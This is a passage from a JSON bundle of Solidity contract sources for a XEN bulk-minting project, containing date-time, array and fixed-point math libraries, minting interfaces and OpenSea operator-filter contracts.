* (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n 